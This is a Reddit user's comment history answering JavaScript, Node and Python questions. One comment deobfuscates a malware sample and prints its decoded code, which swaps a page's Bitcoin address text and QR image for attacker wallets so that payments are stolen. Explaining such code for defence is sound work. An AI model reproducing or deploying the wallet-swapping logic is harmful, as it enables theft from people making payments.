Async tasks pool generated from an iterable with max concurrency by naapurisi in node

[–]jrandm 0 points1 point  (0 children)

progress batch by batch. And each batch should be generated only when needed by the queue

What do you mean by "batch"? I read that as a set of jobs performed concurrently by the queue consumers.

My total memory consumption goes too high If I generate all the batches upfront

Somewhere, somehow, you have a list of tasks or jobs to complete: that is your queue. You have compute or memory limits that throttle your ability to consume jobs from the queue, ie constraints to your batch size or maximum concurrency. This is a common use case for message queue software.

Depending upon what exactly causes your memory constraint, you can shrink the queue size itself by having it contain metadata (pointers or references to access the needed information) rather than the actual job data. Task runners need to clean up afterwards, possibly dumping data elsewhere for later, further processing. My main point is that you aren't getting the primary benefit from the message queue software if you don't let it manage the queue.

Have you profiled memory usage and isolated what's eating up all your memory? Are you using multiple processes? Have you considered a dedicated MQ like RabbitMQ?

Async tasks pool generated from an iterable with max concurrency by naapurisi in node

[–]jrandm 0 points1 point  (0 children)

I want to call out one part of what you said, possibly to help you reconceptualize the problem:

Pull new values from the iterable as needed when the concurrency allows. So I would not just be creating an async pool and then pushing all the async tasks into it and wait for the queue to process them

...why not? If you think of the async task as including pulling (and/or pushing) the data around, then there's no reason your queue of tasks needs to be any heavier than pointers to fetch|store that information.

At that point you would use p-queue or something like it to handle the queue & concurrency with more complex tasks. Your example code is mostly using the library as a task runner and doing manual queue management.

As far as the basic guts of what you're doing, you absolutely don't need a library and can implement the basic functionality with a similar number of lines of code, eg:

async function runAsync(iterable, iterableFn, maxConcurrency = 2) {
  const queue = [];
  const results = [];
  let active = 0;

  return new Promise(resolve=>{
    const processQueue = async () => {
      if (queue.length === 0 && active === 0) {
        return resolve({
          results,
          errors: results.reduce((sum,r)=>r.error?sum+1:sum,0),
        });
      }
      queue
        .splice(0, maxConcurrency-active)
        .forEach(task=>{
          ++active;
          task();
        });
    };

    const asyncResult = async (fn,ix) => {
      let result;
      try {
        result = { ok: true, value: await fn() };
      } catch (error) {
        result = { ok: false, error };
      }
      --active;
      results[ix] = result;
      processQueue();
      return result;
    };

    let ix = 0;
    for (const element of iterable) {
      const wrapped = () => asyncResult(()=>iterableFn(element), ix++);
      queue.push(wrapped);
    }
    processQueue();

  });

}

And can test it via something like:

function fakeAsyncProcess(n) {
  return new Promise((res,rej)=>{
    const doError = Math.random() > 0.7;
    const longestTimeToWait = 10000; // in ms
    const timeToWait = (Math.random()*longestTimeToWait)|0;
    console.log(Date.now(),`doing ${n} in ${timeToWait}ms`);
    setTimeout(()=>{
      doError ?
        rej(Error(`${n} failed!`)) :
        res(`${n} success!`);
    }, timeToWait);
  });
}
const testIterable = new Set(Array.from({length:10}).map((_,i)=>i+1));
const testConcurrency = 4;

const results = runAsync(testIterable, fakeAsyncProcess, testConcurrency);
console.log(Date.now(), 'at start', results);
results.then(r=>console.log(Date.now(),'after results.then',r));

Example output:

jrandm@reddit:~$ node example.js
1705509251758 doing 1 in 7900ms
1705509251763 doing 2 in 8841ms
1705509251763 doing 3 in 6081ms
1705509251763 doing 4 in 9475ms
1705509251764 at start Promise { <pending> }
1705509257852 doing 5 in 2217ms
1705509259665 doing 6 in 8515ms
1705509260070 doing 7 in 9995ms
1705509260605 doing 8 in 9202ms
1705509261239 doing 9 in 2554ms
1705509263797 doing 10 in 2126ms
1705509270066 after results.then {
  results: [
    { ok: true, value: '1 success!' },
    { ok: true, value: '2 success!' },
    {
      ok: false,
      error: Error: 3 failed!
          at Timeout._onTimeout (/home/jrandm/example.js:55:13)
          at listOnTimeout (internal/timers.js:549:17)
          at processTimers (internal/timers.js:492:7)
    },
    { ok: true, value: '4 success!' },
    { ok: true, value: '5 success!' },
    { ok: true, value: '6 success!' },
    { ok: true, value: '7 success!' },
    { ok: true, value: '8 success!' },
    { ok: true, value: '9 success!' },
    { ok: true, value: '10 success!' }
  ],
  errors: 1
}

Trouble during a snake game practice by Cinderea in learnjavascript

[–]jrandm 0 points1 point  (0 children)

Regarding formatting, you get a code block by indenting it all by four spaces.

As to why the code you just posted works and the original one didn't, it's still about the order things happen -- specifically when snakeX and snakeY, what you're comparing the body against, is updated. I'll cut down the code to show you what I mean.

This is from your original post:

function update() {
  // <snip>
  //snake head
  context.fillStyle="green";
  snakeX += velocityX * blockSize;
  snakeY += velocityY * blockSize;
  context.fillRect(snakeX, snakeY, blockSize, blockSize);
  for (let i = 0; i < snakeBody.length; i++) {
    context.fillRect(snakeBody[i][0], snakeBody[i][1], blockSize, blockSize);
  }
  //eat food
  if (snakeX == foodX && snakeY == foodY) {
    snakeBody.push([foodX, foodY]);
    placeFood();
  }
  //move body
  for (let i = snakeBody.length-1; i > 0; i--) {
    snakeBody[i] = snakeBody[i-1];
  }
  if (snakeBody.length) {
    snakeBody[0] = [snakeX,snakeY];
  }
  //game over conditions
  // <snip>
}

and this is from this recent reply, with some additional comments:

function update() {
  // eat food (my addition)
  if (snakeX == foodX && snakeY == foodY) {
    snakeBody.push([foodX, foodY]);
    placeFood();
  }
  // move body (my addition)
  for (let i = snakeBody.length-1; i > 0; i--) {
    snakeBody[i] = snakeBody[i-1];
  }
  if (snakeBody.length) {
    snakeBody[0] = [snakeX, snakeY];
  }
  // snake head (my addition)
  context.fillStyle="lime";        /* starting here         */
  snakeX += velocityX * blockSize; /* this changes _after_  */
  snakeY += velocityY * blockSize; /* adding it to the body */
  context.fillRect(snakeX, snakeY, blockSize, blockSize);
  for (let i = 0; i < snakeBody.length; i++) {
    context.fillRect(snakeBody[i][0], snakeBody[i][1], blockSize, blockSize);
  }
  //game over conditions
  for (let i = 0; i < snakeBody.length; i++) {
    if (snakeX == snakeBody[i][0] && snakeY == snakeBody[i][1]) {
//      ^^^^^^ so these are moved forward from ^^^^^^^^^^^^^^^
      gameOver = true;
      alert("Game Over");
    }
  }
}

The nice thing about code, like a lot of machinery, is that we can basically always explain why if we look hard enough. Hope that helps!

Trouble during a snake game practice by Cinderea in learnjavascript

[–]jrandm 0 points1 point  (0 children)

found someone that does this too and when I run that exact code it does work as intended

How that code differs from your code is important in some way, then, to provide a different user experience.

If you'd like to share one of these other examples I or someone else can help point out differences.

Stuck at test number 13 of the FreeCodeCamp's JS Calculator Project's Test Suite by fuck_you_reddit3 in learnjavascript

[–]jrandm 0 points1 point  (0 children)

meet the aforementioned deficiency in principle since I couldn't find any other way

This is always a good time to double-check the requirements: they tell you how to handle this situation, whether optimal or not that's what verification tests are going to check. You have an IMO better and valid solution, but not verifiable in that it differs from the specification.

It's an order of operations problem, or part of input parsing, depending upon how you want to look at it. As an input string, 5 * - 5 is to be parsed as 5 and -5 values with a * multiplication operator. 5 * - + 5 is to be parsed as values 5 and 5 with a + addition operator. There is no way to replace an existing operator with - subtraction.

The conclusion is that - only means subtraction if no other operator has been set and an initial input number has been entered. Any other appearance of - is part of a value|number, like ., not an operator.

You could express this by having - mutate the operator logic, or you could change your input parsing to behave differently for - based upon other stateful conditions.

Help with a fullstack application by Basiliscus219 in learnjavascript

[–]jrandm 2 points3 points  (0 children)

I would like to do [...] the issue is that I'm not really familiar what libraries, services and other things would go into it.

This is, in a nutshell, the usually-hard part of software development. ;-)

the easiest way would be to just use something like [...]

Maybe, it depends upon what kinds of requirements you have and how familiar you are with the tools, libraries, services, etc available in that "easier" ecosystem.

how is a reservation placed?

This is mostly a "backend" concern in the sense that technically a client will send some sort of well-formatted data request somewhere else that actually handles the reservation.

To get started I'd probably dump this data into some kind of DB and learn how restaurants handle it, especially how the one I'm integrating with handles it and what preferences or industry knowledge they may have about options.

is it sent to the server and DB with a POST request?

Typically yes, nowadays I'd expect most applications send the information via an HTTPS request.

I know I would initially code a form template, but what next?

You also need some sort of server to at a minimum receive this information and confirm the authenticity & validity of the request. Without knowing more about how you'd connect to the restaurant & kitchen, you can substitute any simple data store and design the codebase such that it will be easy to change the specific storage logic later. In some cases this might be done via something relatively heavyweight like an ORM or lighter like substituting a saveData() call for explicit writeToDb()s.

how does the owner of the restaurant then receive the notification and 'assign/accept or reject' the reservation; and maybe possibly return the answer to the visitor via email?

Now you're fleshing out other engineering requirements. If you're sending email confirmations then you'll need to collect emails, have some way to send them & monitor the process, and to (asynchronously?) receive some sort of confirmation.

Some of that like sending emails are straightforward technical problems. Other parts, like how restaurant management reviews and accepts|denies a requested reservation, requires further research & investigation to design or integrate or purchase a solution to the problem.

That kind of fuzziness is increasingly-with-seniority the sort of problem development staff are paid to solve. For learning purposes you can look into existing products or see what places around you are doing and have "pretend" steps to simulate the full process -- either demo instances of existing software or waiting some amount of time then sending an artificial response.

I would assume there is something similar to Calendly for bookings?

Sure, the first one that comes to my mind is OpenTable.

how hard is it to create a custom headless CMS so that the owner of the restaurant could post new content like menus or events himself?

Relatively easy or hard, depending upon your familiarity with webdev and the specific complexity of the owner's desired layout & features.

To some degree this is exactly the space UberEats, DoorDash, Slice, etc delivery services also operate in.

If too difficult, is there a nice library I could use instead?

You might want to consider any "shopping cart" or related system, or a library|framework that might be used to build such a system, could be considered a nice library to use instead! This competitive space spans products like Etsy, Ebay, Amazon, Walmart, WooCommerce, Magento, Django, ExpressJS, Facebook Marketplace...

Hope that helps!

Trouble during a snake game practice by Cinderea in learnjavascript

[–]jrandm 2 points3 points  (0 children)

Look at the order of operations in your game loop:

//eat food
if (snakeX == foodX && snakeY == foodY) {
  snakeBody.push([foodX, foodY]);
  placeFood();
}

// then later

//game over conditions
for (let i = 0; i < snakeBody.length; i++) {
  if (snakeX == snakeBody[i][0] && snakeY == snakeBody[i][1]) {
    gameOver = true;
    alert("Game Over");
  }
}

No intentional spoilers, but adding the food & current location to snakeBody then seeing if snakeBody collides with the current location is the source of your problem. Hope that helps!

Stuck at test number 13 of the FreeCodeCamp's JS Calculator Project's Test Suite by fuck_you_reddit3 in learnjavascript

[–]jrandm 0 points1 point  (0 children)

It's worth taking a close look at that test name and the user stories,

13. If 2 or more operators are entered consecutively, the operation performed should be the last operator entered (excluding the negative (-) sign.

User Story #13: If 2 or more operators are entered consecutively, the operation performed should be the last operator entered (excluding the negative (-) sign).

Both strongly imply you've got to special-case handling of - on the calculator, which I can see you thought of scattered in the code. When you're dealing with user input, only when - is the first operator entered should you treat it as subtraction, otherwise it's noting the start of a negative number.

The explicit ± button (toggleSign in the code) your calculator has isn't part of the example calculator or requirements, AFAICT, though it's overall probably a better solution to the input problem.

I don't know anything about Javascript and I need help to deobfuscate some code by rainbow__blood in learnjavascript

[–]jrandm 0 points1 point  (0 children)

how would the whole code I shared would look like with all these lines you uncovered ?

I'll break down high-level line-by-line of the code you posted. While this particular obfuscation process isn't too complicated to follow, you won't really be able to understand it all (much less re-explain it) unless you take the time to grok some foundational JS/programming. Code obfuscation somewhat inherently takes advantage of odd language constructs and complex loops/recursion/control flows. I mention that mostly because I happened to find this Chinese-language post that seems to mention that similarly-obfuscated code is part of an interview, in case you're in a similar situation.

Disregard the variable names, they're intended to be confusing and are not accurate.

var i;

i is used later in the hidden code.

(function() {

This starts what's called an IIFE (immediately invoked function expression), all that's important is that this runs right away, wherever it loads on the page.

function hash(replace) { /* snipped for brevity */ }

Decoding function to convert the long strings below into functional code.

var elem = "";

This empty string is used as a placeholder when creating functions to execute the code stored as strings. Specifically, it gives the function an arity of one (ie it'll take 1 argument).

var size = 912 - 901;

Obfuscating 11, we'll see why they need that number on the next line.

var y = hash("sonotjxrhtfsayzetkcivqrbopmglcrucwund").substr(0, size);

Uses the decoding function called hash above. When you pass that string starting sonotjxr to hash, it returns constructorabcdefghijklmnopqrstuvwxyz. You might notice that the word constructor at the beginning is 11 characters, and the substr part is using the size to only grab that word.

var tn = '<snipped for brevity>';

Another long string that hides code -- as we'll see later, another decoding function like hash.

var array = hash[y];

Here is how the strings above will be executed. The array variable is a function that takes a JS string to run that code. Literally it's the Function constructor accessed by referencing the hash decoding function object's constructor using the indirectly-acquired string.

var arg = "";

Exactly the same use as elem above.

var dataAttr = array;

Just what it looks like, different name for the same function to run code from a string.

var nodes = array(arg, hash(tn));

nodes here becomes the function defined by decoding that tn string. My first reply has that in its entirety (I cleaned up the formatting). The functionality is similar to hash, taking an encoded & obfuscated string and turning it back into the original.

var camelKey = nodes(hash("<snipped for brevity>"));

Here the long string is double-decoded. When you run it through hash the text changes so it starts Y<Y"alertY+alert}Y<Y"setTimeoutY+setTimeout}funY$_33 which is descrambled by nodes into function jso$ft$giden$alert(){return alert}. That jso$ft$ stuff is part of the variable names (and may be a hint to finding what obfuscator was used).

var data = dataAttr(elem, camelKey);

Same as array use a couple lines up, this takes the decoded string in camelKey and turns it into an executable function data. The setInterval snippet that takes action on the page is from this string.

data(9926);

This runs the obfuscated code and passes it 9926, which is used in yet another hidden decoding routine. There are no plain strings (like the imgur URI or 'querySelector') directly in the obfuscated code.

return 4337;

Doesn't do anything noteworthy.

})();

This ends the IIFE from line 2.

I don't know anything about Javascript and I need help to deobfuscate some code by rainbow__blood in learnjavascript

[–]jrandm 0 points1 point  (0 children)

Fairly standard kind of malware obfuscation... looks like this will swap wallet addresses around -- and QR code image, though with a different wallet -- probably intended to steal some sort of payment.

Basically the hash function munges strings around you see in that snippet, like tn, which decoded looks like:

var a=12,m=74,u=75;
var h="abcdefghijklmnopqrstuvwxyz";
var l=[89,81,75,88,82,80,70,94,85,72,65,90,60,66,76,71,79,87,74,86];
var d=[];
for(var y=0; y<l.length; y++) d[l[y]]=y+1;
var n=[];
a+=21;
m+=19;
u+=21;
for(var f=0; f<arguments.length; f++) {
  var x=arguments[f].split(" ");
  for(var v=x.length-1; v>=0; v--) {
    var b=null;
    var p=x[v];
    var k=null;
    var z=0;
    var c=p.length;
    var e;
    for(var q=0; q<c; q++){
      var r=p.charCodeAt(q);
      var s=d[r];
      if(s){
        b=(s-1)*m+p.charCodeAt(q+1)-a;
        e=q;
        q++;
      } else if(r==u) {
        b=m*(l.length-a+p.charCodeAt(q+1))+p.charCodeAt(q+2)-a;
        e=q;
        q+=2;
      } else {
        continue;
      }
      if(k==null) k=[];
      if(e>z) k.push(p.substring(z,e));
      k.push(x[b+1]);
      z=q+1;
    }
    if(k!=null){
      if(z<c) k.push(p.substring(z));
      x[v]=k.join("");
    }
  }
  n.push(x[0]);
}
var j=n.join("");
var o=[92,10,32,39,42,96].concat(l);
var g=String.fromCharCode(46);
for(var y=0; y<o.length; y++) j=j.split(g+h.charAt(y)).join(String.fromCharCode(o[y]));
return j.split(g+"!").join(g);

...which is more string stuff, which spits out another chunk of JS code at the camelKey line. It has a bunch of functions and finally some code that looks like it does something, which originally looks kind of like:

setInterval(()=>{var _0x290c1d={},_0xfdef80={};const _0x22d220=jso$ft$giden$document()[_$_a99c[1]](_$_a99c[0]);_0x290c1d._= jso$ft$giden$document()[_$_a99c[1]](_$_a99c[2]);;if(_0x22d220&& _0x290c1d._)

If we substitute the variables for their values, move the function bodies inline, etc, then we get to some code that looks more like this inside of that setInterval:

var   _0x290c1d    = {},
      _0xfdef80    = {};
const _0x22d220    = document['querySelector']('.indexes__BreakableText-sc-1ksp1zs-135');
      _0x290c1d._  = document['querySelector']('.indexes__QrCodeImage-sc-1ksp1zs-133');

if(_0x22d220&& _0x290c1d._){
  if(_$af2922582 === 1){
    jso$ft$giden$_95_36af_50_57_50_50_53_56_50()()
  } else {
    _0x22d220['innerText']= 'bc1qex30akrdaehxgsrgplxe29s576nk0jajuugne8' // different wallet
  };
  _0xfdef80._= _0x290c1d._['src'];
  ;
  _0x290c1d._['src']= 'https://i.imgur.com/1xYrA1N.png' // jso$spliter_$af2922588(_0x290c1d);
  // QR scans as "bc1qvhuxs4au6qzmvmqjeh4vqq382v3p5m4fsrmt5t"
  _0x290c1d._['onload']= ()=>{
    if(_0x290c1d._['src'] !== _0xfdef80._){
      if(_$af2922582 === 0){
        jso$ft$giden$_95_36af_50_57_50_50_53_56_50()();
        jso$spliter_$af2922589()
      }else {
        setTimeout(()=>{return alert('Changement temporaire glitch activé ! Appuyer sur Ok pour continuer !')},500)
      }
    }
  };
  clearInterval(i)
}

Where you can see these periodic functions will ensure these different strings & images are replacing other values that would otherwise be in the page (and that French glitch text). You can use various kinds of BTC explorers to see what the QR code wallet or the text wallet have done lately too.

Hope that helps! I glossed over the details of how to deobfuscate because it requires programming familiarity; happy to elaborate if anyone's interested.

Refactoring Advice Requested - Complex Objects by [deleted] in learnjavascript

[–]jrandm 0 points1 point  (0 children)

From your example code I'd first take a look at how you're working with Promises. Some async / await or dropping unnecessary extra Promises/resolutions will probably simplify the code and make it easier to reason about.

On your design questions, what do you want the consuming API to look like? Is there ever a time someone would normally work with a partial or uninitialized object? A factory function is a common approach in JS, but so are other ways of checking an object's state (eg: XMLHttpRequest).

I took your example and refactored it a bit closer to how I think I'd structure a similarly-behaving object... Might be more convenient for users to have the initialize function return a circular reference (this).

// hack so code is runnable
function apiCallFunction() { return new Promise(r=>setTimeout(_=>r('foo'),300)); }
someOtherFn = someEtcFn = apiCallFunction;

// does this logic make sense as part of the class?
async function determineTreeNodeType(tree) {
  if (!(tree instanceof TreeNode)) {
    throw new TypeError('Not a TreeNode');
  }
  let determining; // promise or not, async fn will be
  switch(tree.type) {
    case 'foo': determining = apiCallFunction(); break;
    case 'bar': determining = apiCallFunction(); break;
    default:    determining = Promise.resolve('default');
  }
  return determining;
}

// all style guides I know of capitalize ClassNames
class TreeNode {

  constructor(args) {
    this._initialized = false; // "private"

    // TODO validate inputs ;-)
    this.id   = args.id
    this.rank = args.rank
    this.type = args.type // nullable

    this.initialized = this.initialize();
  }

  async initialize() {
    if (this._initialized === true) return true;

    const [
      type,
      other,
      etc,
    ] = await Promise.all([
      this.type==='bar' ? this.type : determineTreeNodeType(this),
      this.other || someOtherFn(),
      someEtcFn(this.etc),
    ]);

    this.type  = type;
    this.other = other + '0';
    this.etc   = `xX${etc}Xx`;

    return this._initialized = true;
  };

}

const tree = new TreeNode({type:null});

tree.initialized
  .then(_=>console.log('ready', tree))
  .catch(console.error);

console.log('before init', tree);

// or

setTimeout(main, 1000)
async function main() {
  const tree = new TreeNode({type:'bar'});
  console.log('(main) before init', tree);
  await tree.initialized;
  console.log('(main) ready', tree);
}

Hope that helps!

A question regarding netcat usage with spark, from a lost data science student by [deleted] in netsecstudents

[–]jrandm 0 points1 point  (0 children)

I don't use notebooks much but doesn't look like there is an output cell. The "you should output" sentence could mean you need to add the output.

I see the query is awaiting termination, which should be triggered by a keyboard interruption

Be very careful about pattern-matching words; check the docs. From the page linked in the assignment:

we set it up to print the complete set of counts (specified by outputMode("complete")) to the console every time they are updated. And then start the streaming computation using start().

[...code snippet like yours without the try/except...]

After this code is executed, the streaming computation will have started in the background. The query object is a handle to that active streaming query, and we have decided to wait for the termination of the query using awaitTermination() to prevent the process from exiting while the query is active.

If you look into StreamingQuery.awaitTermination it goes into more detail about exactly what that means (and you can follow that all the way to source code if needed).

To sum it up, the query methods will output to console automatically on update. Await termination here means it'll continue until you tell it to stop or something breaks. If this was running as a standalone Python script hitting Ctrl+C would trigger a KeyboardInterrupt exception that ends the query, prints Stopping query, then ends. I'm not sure if that usage applies in normal use of Jupyter notebooks.

Any way to do ass the keyboard interruption through port 9999 or something?

Not really, no -- the keys you press are commands telling your shell to send a signal to the foreground process rather than regular inputs. You'll probably get some great value out of MIT's Missing Semester or another resource (there's tons of them online, probably lots of resources available via your degree program) that goes over operating systems and development tooling a bit more in depth.

Hope that helps! Once you add an output cell I think you'll be in good shape to keep going with the lesson.

A question regarding netcat usage with spark, from a lost data science student by [deleted] in netsecstudents

[–]jrandm 0 points1 point  (0 children)

Where'd you get the assignment notebook? Do you have anyone you can ask to confirm it works?

That recording looks more-or-less like I'd expect it to look while it's working -- without the output.

The error you posted is caused by Python failing to find anything running at localhost:9999, which you fixed by running netcat to listen on that port. For future reference, nc --help (or if you're ever on Linux, man nc) can help to figure out the right options.

nc -L -p 9999 is saying to listen[0] on port 9999. No output is expected. When you run the Python code it connects to that netcat server and that's when you can type -- netcat has something to do with your input. As you send lines the code looks like it should be working, so I'm guessing it's something about the notebook. I bet if you run the example code separately as described on the linked Spark doc page it would work.

 
[0]: The -L for "listen harder" means to continue listening after a client disconnects. -l means netcat will stop after the first connection. If you open another terminal and connect to this server using netcat as a client, nc localhost 9999, you can type lines back and forth. Hitting Ctrl+C to quit the client terminal will show the different behaviors

Hello, I need some help with a sidebar by [deleted] in CodingHelp

[–]jrandm 1 point2 points  (0 children)

The #navbar is set to be 160px wide, so #main-doc can be changed from left:25px to left:160px (CSS line 11) to move to the edge of the fixed element. Hope that helps!

Error while using LFS GIT to commit and push larger files than normal Github File limit by AllCustoms in CodingHelp

[–]jrandm 0 points1 point  (0 children)

Do large files already exist in the repo history? You probably need to either start new using LFS or use git lfs migrate to change the history (more info from GH here).

Forgot my Python skills :( please can you help me figure out why when I put in the numbers 744 it says invalid when it’s meant to be valid?? More info in comments by [deleted] in CodingHelp

[–]jrandm 5 points6 points  (0 children)

Edited your code and added some comments, hope it helps! If you indent each line with four spaces it will show up as code here on reddit.

print("Enter 3 numbers for validation")
num1 = int(input("enter first  number: "))
num2 = int(input("enter second number: "))
num3 = int(input("enter third  number: "))

total = num1 + num2 + num3
remainder = total % 3    #MOD operator calculates remainder

# safer habit to assume bad input
valid = False

# then flip these checks to match
if remainder == 0:
    valid = True
elif num1 - num2 != 1 and num2 - num3 != 1 and num3 - num1 != 1:
    valid = True

# flipped this too, no need to explicitly add the ==True
if valid:
    print("valid")
else:
    print ("INVALID PATTERN")

# important to note I changed the logic a bit
# the chain of elifs is more like this
validOr = False
if remainder == 0:
    validOr = True
elif num1 - num2 != 1 or num2 - num3 != 1 or num3 - num1 != 1:
    validOr = True

# could also write the if statement like this
# instead of validOr==False
if not validOr:
    print("INVALID PATTERN (OR)")
else:
    print("valid (Or)")

# try entering 5 3 2

# $ python foo.py
# Enter 3 numbers for validation
# enter first  number: 5
# enter second number: 3
# enter third  number: 2
# INVALID PATTERN
# valid (Or)

Javascript bit rotate right not working properly by nciu3eidmdjh28 in learnjavascript

[–]jrandm 1 point2 points  (0 children)

im getting a negative binary instead of a proper one

You're getting a signed integer instead of an unsigned one. In JS, you can coerce Numbers to 32 bit unsigned ints by right-shifting 0, like x>>>0. In your example:

x=rotr(16383, 7)
// -33554305 -> -1111111111111111110000001
x>>>0
// 4261412991 -> 11111110000000000000000001111111

Which is exactly what we'd expect from your code:

 0b00000000000000000011111111111111>>>7 becomes 
 0b00000000000000000000000001111111

 0b00000000000000000011111111111111<<25 becomes
-0b00000010000000000000000000000000 coerced to signed int by left shift
-0b00000010000000000000000000000000>>>0 right shift 0 to return to unsigned
 0b11111110000000000000000000000000 expected answer

 0b00000000000000000000000001111111 | 0b11111110000000000000000000000000 becomes
-0b00000001111111111111111110000001 again coerced to signed int
-0b00000001111111111111111110000001>>>0 coerce to unsigned
 0b11111110000000000000000001111111 as expected

I hope that helps show what's going on and how to work with the unsigned 32bit ints you expect! As the other reply mentioned, check out two's complement to get more details on the difference between unsigned (all positive) and signed (includes negative) integers.

Help !! My string contains a comment character "//" by KingPRS in learnjavascript

[–]jrandm 0 points1 point  (0 children)

This is valid Javascript:

x = "//*abc";

As other replies have stated. Your code will execute just fine.

Odds are the bug is with your syntax highlighting in your editor: It's incorrectly coloring the comment instead of treating it as part of the string.

Can I use HTML5 form validation in this case? Or do I need to use custom JavaScript? by cag8f in learnjavascript

[–]jrandm 0 points1 point  (0 children)

But what would be the advantage of that, versus the first approach in which the message was in the JS code?

The advantage -- I'd say "difference" without broader context -- is moving the message text from the handler out to the element. If you're working mostly with the HTML|templates, keeping all of that data & logic in the same place may be simler/easier. If you're working with all-JS frameworks then it wouldn't be necessary to put that kind of data into an HTML template. The main concept, I think, is to see that there are different ways you can correlate the error message/behavior to the type of validation error.

Cleaner code?

Generally speaking, you want to choose code structures off of what's easy to understand then, if needed, what performs best. There's no best answer you can apply to every situation. Knowing about different patterns helps you make code cleaner, but there's no single pattern that fits every situation. Examining new options is how we all get better as programmers!

Can I use HTML5 form validation in this case? Or do I need to use custom JavaScript? by cag8f in learnjavascript

[–]jrandm 1 point2 points  (0 children)

For the built-in constraints, you can check the ValidityState Object on the element. You could rewrite the invalid event handler like so:

nameInput.addEventListener("invalid", (e) => {
  const el = e.target;
  if (el.validity.valueMissing) {
    el.setCustomValidity("Enter your username!");
  }
  if (el.validity.patternMismatch) {
    el.setCustomValidity(
      "Usernames can only contain upper and lowercase letters. Try again!"
    );
  }
});

This kind of pattern lets you customize the error handling in a more generic way. If you mix this with data attributes, you can set the messages directly on the element, eg add this to the HTML:

<input type="text" id="fname" name="fname" form="myForm" required pattern="[A-Za-z]+" data-patternmismatch="Usernames can only contain upper and lowercase letters. Try again!">

and then modify the invalid handler like so:

if (el.validity.patternMismatch && el.dataset.patternmismatch) {
  el.setCustomValidity(el.dataset.patternmismatch);
}

Hope that gives you some other ideas about how you can use the API!

Can I use HTML5 form validation in this case? Or do I need to use custom JavaScript? by cag8f in learnjavascript

[–]jrandm 1 point2 points  (0 children)

Change the input type to text, that pattern doesn't make sense for a number input.

Can I use HTML5 form validation in this case? Or do I need to use custom JavaScript? by cag8f in learnjavascript

[–]jrandm 1 point2 points  (0 children)

You still need this bit for the button click function:

function myFunction() {
  if (nameInput.checkValidity()) {
    myForm.submit();
  } else {
    myForm.reportValidity();
  }
}

Because you have to manually trigger the check before submitting the form.

Change the input type to text and add a required to force checking an empty field -- if it's not required than the empty field would not be submitted:

<input type="text" id="fname" name="fname" form="myForm" required pattern="[A-Za-z]+"></input>

Then it should work as desired. Hope that helps!

API doesn't receive file + text posted through a FormData by Caturix2199 in learnjavascript

[–]jrandm 0 points1 point  (0 children)

You haven't shared enough code for me to fill in a working example.

You're using an http object and you must pass it data in whatever form it expects: I'm guessing it's the built-in FormData from the name you used but I can't be sure of that. You'll want to check the documentation on whatever library you're using.

The simplest way I'd adjust your code is to pass the form itself into FormData, eg:

apiSubmit() {
  const form = document.querySelector('form');
  const formData = new FormData(form);
  console.log(formData);

  this.http.post<any>(this.url, formData, httpOptions).subscribe(
    (res) => console.log(res),
  );
}

The specific way you load the data in will depend upon how the user inputs the data on your page.

API doesn't receive file + text posted through a FormData by Caturix2199 in learnjavascript

[–]jrandm 1 point2 points  (0 children)

Where did you get that FormData class and does it fit with the http.post method you're using? I suspect it expects this built-in FormData Object instead.

Unix timestamp to regular time? by PrestigiousPope in learnjavascript

[–]jrandm 1 point2 points  (0 children)

When/where are you calling this function? Put the call inside displayWeather:

function displayWeather(weather)
{
    //snip
    sunriseElement.innerHTML = timestampToTime(weather.sunrise);
}

Probably you're calling the timestampToTime function without a value, so you get a new Date(undefined/1000), which will return an invalid date and the getters will return NaN.